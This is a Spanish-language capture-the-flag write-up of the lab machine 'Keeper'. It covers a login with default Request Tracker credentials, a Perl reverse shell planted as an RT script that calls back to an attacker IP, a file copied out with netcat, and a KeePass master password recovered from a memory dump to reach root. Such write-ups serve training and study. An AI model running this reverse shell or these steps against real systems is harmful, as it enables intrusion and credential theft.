Entrada

Keeper

Keeper

Skills

  • Obtaining KeePass password through memory dump [Privilege Escalation]
  • Abusing Request Tracker
  • Information Leakage

Certificaciones

  • eJPT

Descripción

Keeper es una máquina easy linux, obtendremos acceso a la web usando las credenciales por defecto, posteriormente obtendremos acceso a la máquina víctima mandándonos una shell a nuestro equipo aprovechando una función del request tracker. Al ganar acceso encontraremos un dump de Keepass, del cual podremos obtener una especie de id_rsa pero en putty en vez de ssh


Reconocimiento

Se comprueba que la máquina está activa y se determina su sistema operativo, el ttl de las máquinas linux suele ser 64, en este caso hay un nodo intermediario que hace que el ttl disminuya en una unidad

1
2
3
4
5
6
7
8
# ping 10.129.229.41
PING 10.129.229.41 (10.129.229.41) 56(84) bytes of data.
64 bytes from 10.129.229.41: icmp_seq=1 ttl=63 time=59.0 ms
64 bytes from 10.129.229.41: icmp_seq=2 ttl=63 time=57.1 ms
^C
--- 10.129.229.41 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 57.069/58.048/59.027/0.979 ms

Nmap

Se va a realizar un escaneo de todos los puertos abiertos en el protocolo TCP a través de nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# sudo nmap -p- --open --min-rate 5000 -sS -n -Pn -v 10.129.229.41 -oG openPorts
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-11 13:15 CEST
Initiating SYN Stealth Scan at 13:15
Scanning 10.129.229.41 [65535 ports]
Discovered open port 22/tcp on 10.129.229.41
Discovered open port 80/tcp on 10.129.229.41
Stats: 0:00:00 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 1.43% done; ETC: 13:15 (0:00:00 remaining)
Completed SYN Stealth Scan at 13:15, 13.58s elapsed (65535 total ports)
Nmap scan report for 10.129.229.41
Host is up (0.19s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 13.65 seconds
           Raw packets sent: 66103 (2.909MB) | Rcvd: 66103 (2.644MB)

Web Enumeration

Lo primero que vemos es lo siguiente

Cuando accedemos a http://tickets.keeper.htb/rt/ vemos esto, debido a que se está aplicando virtual hosting

Para poder ver la página correctamente necesitamos modificar nuestro /etc/hosts

1
2
3
4
5
6
7
8
127.0.0.1       localhost
127.0.1.1       Kali-Linux
10.129.229.41   tickets.keeper.htb keeper.htb

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Así es como se ve http://tickets.keeper.htb/rt/

Lo primero que me llama la atención es el nombre que se ve al lado del login, al buscarlo en google > https://answers.launchpad.net/ubuntu/lunar/amd64/rt4-fcgi/4.4.4+dfsg-2ubuntu1

Probamos las credenciales por defecto, el usuario root y la contraseña password. Las credenciales por defecto las he encontrado en un foro https://forum.bestpractical.com/t/forgot-admin-password-of-rt/33451/2

Una vez logueados vemos lo siguiente

Web Exploitation

He estado investigando y podemos crear o modificar un script en perl para que nos envíe una reverse shell a nuestro equipo, estamos usando perl porque el aplicativo al que nos enfrentamos Request Tracker usa perl. Lo primero que vamos a hacer es ponernos en escucha por el puerto 443 con netcat

1
# nc -nlvp 443

Al intentar crear o modificar elementos en la web nos va a dar este problema

Al establecernos la reverse shell nos va a dar este error en http://tickets.keeper.htb/rt/ y la página quedará inoperativa, para arreglarlo deberemos reiniciar la máquina

Para solucionarlo abrimos las proxy settings de Burpsuite y vamos a usar la opción Match and Replace. Debemos tener el intercep en off y en nuestro navegador debemos tener configurado el proxy

Vamos a pinchar en queues

Pinchamos sobre General y nos lleva a este ventana

Al hacer click en Scripts nos lleva aquí

Pinchamos sobre un script cualquiera para modificarlo

Debemos ponerle estas opciones al script, para que cuando se cree un ticket, se ejecute este script

Para mandarnos una shell vamos a usar este script en perl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
use strict;
use warnings;
use Socket;

# Datos de conexión
my $ip = "10.10.16.16"; # IP del atacante
my $port = 443;        # Puerto al cual conectarse

# Crear el socket y conectarse
socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname("tcp")) or die "No se puede crear el socket: $!";
connect(SOCKET, sockaddr_in($port, inet_aton($ip))) or die "No se puede conectar a $ip:$port: $!";

# Redirigir STDIN, STDOUT y STDERR al socket
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");

# Abrir una shell
system("sh -i");

# Cerrar el socket al terminar
close(SOCKET);

Una vez este todo hecho guardamos cambios, nos dirigimos a /home y creamos un ticket

Si todo ha ido bien deberíamos haber obtenido una shell, ahora vamos a hacer un tratamiento a la TTY

1
2
3
4
5
6
# nc -nlvp 443 
listening on [any] 443 ...
connect to [10.10.16.16] from (UNKNOWN) [10.129.100.101] 43578
sh: 0: can't access tty; job control turned off
$ whoami
www-data

Obtenemos las dimensiones de nuestra pantalla

1
2
# stty size
45 183

Efectuamos el tratamiento a la TTY

1
2
3
4
5
6
7
8
9
10
11
12
13
# script /dev/null -c bash
[ENTER]
[CTRL + Z]
# stty raw -echo; fg
[ENTER]
# reset xterm
[ENTER]
# export TERM=xterm
[ENTER]
# export SHELL=bash
[ENTER]
# stty rows 45 columns 183
[ENTER]

Privilege Escalation

En el directorio /home de lnorgaard está este archivo

1
2
www-data@keeper:/home/lnorgaard# ls
RT30000.zip  user.txt

Nos enviamos este archivo a nuestra máquina, lo primero es ponernos en escucha

1
# nc -l -p 1234 > RT30000.zip

Nos enviamos el archivo desde la máquina víctima

1
www-data@keeper:/home/lnorgaard# nc 10.10.16.16 1234 < RT30000.zip

En nuestra máquina descomprimimos el archivo y obtenemos una base de datos de Keepass donde se almacenan las contraseñas y un dump de keepass

1
2
3
# unzip RT30000.zip 
# ls
 KeePassDumpFull.dmp   passcodes.kdbx   RT30000.zip

He estado buscando una vulnerabilidad en Keepass que nos permita obtener los datos de un dump, y he encontrado este vídeo explicativo https://www.youtube.com/watch?v=6j8aEFNOQbk&t=276s. Al ejecutar lo que se muestra en el vídeo he obtenido una credencial de forma parcial

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# /dotnet run KeePassDumpFull.dmp
Password candidates (character positions):
Unknown characters are displayed as "●"
1.:	●
2.:	ø, Ï, ,, l, `, -, ', ], §, A, I, :, =, _, c, M, 
3.:	d, 
4.:	g, 
5.:	r, 
6.:	ø, 
7.:	d, 
8.:	, 
9.:	m, 
10.:	e, 
11.:	d, 
12.:	, 
13.:	f, 
14.:	l, 
15.:	ø, 
16.:	d, 
17.:	e, 
Combined: ●{ø, Ï, ,, l, `, -, ', ], §, A, I, :, =, _, c, M}dgrød med fløde

La contraseña está incompleta así que la he pegado en google a ver que me sale y parece que es una comida típica noruega. La contraseña sería rødgrød med fløde

Nos descargamos KeePassXC https://keepass.info/download.html, le damos privilegios de ejecución y abrimos el programa y seleccionamos el archivo passcodes.kdbx

1
2
# chmod +x KeePassXC-2.7.9-x86_64.AppImage 
# ./KeePassXC-2.7.9-x86_64.AppImage 

Efectivamente, esa era la contraseña. Ahora vemos aquí una RSA la cual podemos usarla para conectarnos a la máquina víctima como usuario root, para usarla debemos de almacenarla en un archivo .ppk

Nos conectamos a la máquina víctima como el usuario root

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# plink -i id_rsa.ppk root@10.129.198.181 
The host key is not cached for this server:
  10.129.198.181 (port 22)
You have no guarantee that the server is the computer you
think it is.
The server's ssh-ed25519 key fingerprint is:
  ssh-ed25519 255 SHA256:hczMXffNW5M3qOppqsTCzstpLKxrvdBjFYoJXJGpr7w
If you trust this host, enter "y" to add the key to Plink's
cache and carry on connecting.
If you want to carry on connecting just once, without adding
the key to the cache, enter "n".
If you do not trust this host, press Return to abandon the
connection.
Store key in cache? (y/n, Return cancels connection, i for more info) y
Using username "root".
Access granted. Press Return to begin session. 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

You have new mail.
Last login: Tue Aug  8 19:00:06 2023 from 10.10.14.41
root@keeper:~# whoami
root
Esta entrada está licenciada bajo CC BY 4.0 por el autor.